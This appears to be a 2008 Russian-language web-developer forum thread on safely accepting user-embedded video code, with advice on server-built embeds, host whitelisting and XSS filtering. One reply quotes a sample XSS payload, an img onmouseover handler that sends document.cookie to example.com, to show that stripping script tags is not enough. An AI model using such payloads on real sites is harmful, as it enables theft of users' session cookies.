Вообщем сделал на сайте взможность вставки видео таким образом - юзеры вставляют в поле текста на подобии такого - 



но в этом поле можно написать что угодно вставить как-нить js код или  ссылки и прочее..

кто как делает валидацию таких фрагментов (в данном случае только на наличие видео кода html), как есть готовые решения может быть? 

Это сообщение отредактировал(а) 31416 - 6.12.2008, 03:16

по-нормальному, это:
- поле для ввода значения ширины
- поле для ввода значения высоты
- поле для ввода УРЛ видео
Валидируется на раз(ненулевые целые числа и корректный URI), после чего HTML формируется твоим кодом на стороне сервера.

вопрос только как быть с разными сайтами, для всех популярных можно держать шаблоны, но есть то и другие с которых могут захотеть вставить

А мне кажется можно делать легче, фильтруй яваскрипт, то бишь, ищешь такую фразу как <script>....</script> и удаляешь его.
можно сделать еще круче, регулярка вида
#<object>(.*)</object># - пихаешь в переменную, остальное стираешь, а показываешь переменную где хранится результат регулярки.

Или проще:

Хотя и в эти тэги юзер может прислать какую-нить стрёмную флэшку, я бы включил премодерацию на всякий случай. Или выдирал бы из кода адрес флешки. Если это http://www.youtube.com/... или другие известные скрипту видеохостинги - тогда публиковать. Если нет - то слать на премодерацию либо на удаление. 

Это сообщение отредактировал(а) teroni - 15.12.2008, 03:00

Кстати да можно просто регуляркоой выдирать 
<embed src="http://www.youtube.com/v/uGOCG-r-HB8&hl=ru&fs=1&color1=0x234900&color2=0x4e9e00" 
type="application/x-shockwave-flash" allowscriptaccess="always" 
allowfullscreen="true" width="480" height="385">
из этого, src="http://www.youtube.com/v/uGOCG-r-HB8&hl=ru&fs=1&color1=0x234900&color2=0x4e9e00" 
и генерить свой код, удобно, практично, и подойдет ко всем видеохистингам
а на тему ссылки, то впихнуть на сколько я знаю туда практически ничего нельзя, так как пробывал ссылаться на яваскрипт файл, и он вывел "как есть", так что вродь с безопастностью траблов не должно быть

Судя по всем этим вебам-два-ноль, когда-нибудь все остановится на такой схеме: человек со стороны, желая опубликовать видео с ютуба / очередную flash-игру на 5 минут / что-то еще, будет должен вбить адрес, по которому можно будет слить код для публикации этой штуки. С надеждой/уверенностью в том, что хостер уж точно не подсунет каких-то XSS-штук. Т.е. появится какой-то псевдостандарт, как протоколы синдикации (RSS, ATOM etc) или OpenID, к примеру.

Но это снова офтоп. По сабжу - гляньте, как устроен отстрел XSS в том же самом не раз упомянутом в этом разделе Code Igniter.


<img src="blablabla" alt="" onmouseover="location.href='http://example.com/?stolenCookie='+document.cookie;alert('Ищите здесь теги script и дальше');"/>
И подобных вариантов очень много 

мне кажется кажется первое предложение было лучшим (3 поля: урл, ширина, высота), хотя можно в общем-то добавить поле, куда будет можно вставить код. Но из этого кода будут выдираться те самые 3 поля. Не думаю, что эти плееры особенно чем-то отличаются, кроме этих 3х параметров.

хотя может я чего-то не знаю ("гляньте, как устроен отстрел XSS в том же самом не раз упомянутом в этом разделе Code Igniter")

К слову о flash и javascript: наличие параметра allowscriptaccess='never' в теге embed пойдёт на пользу.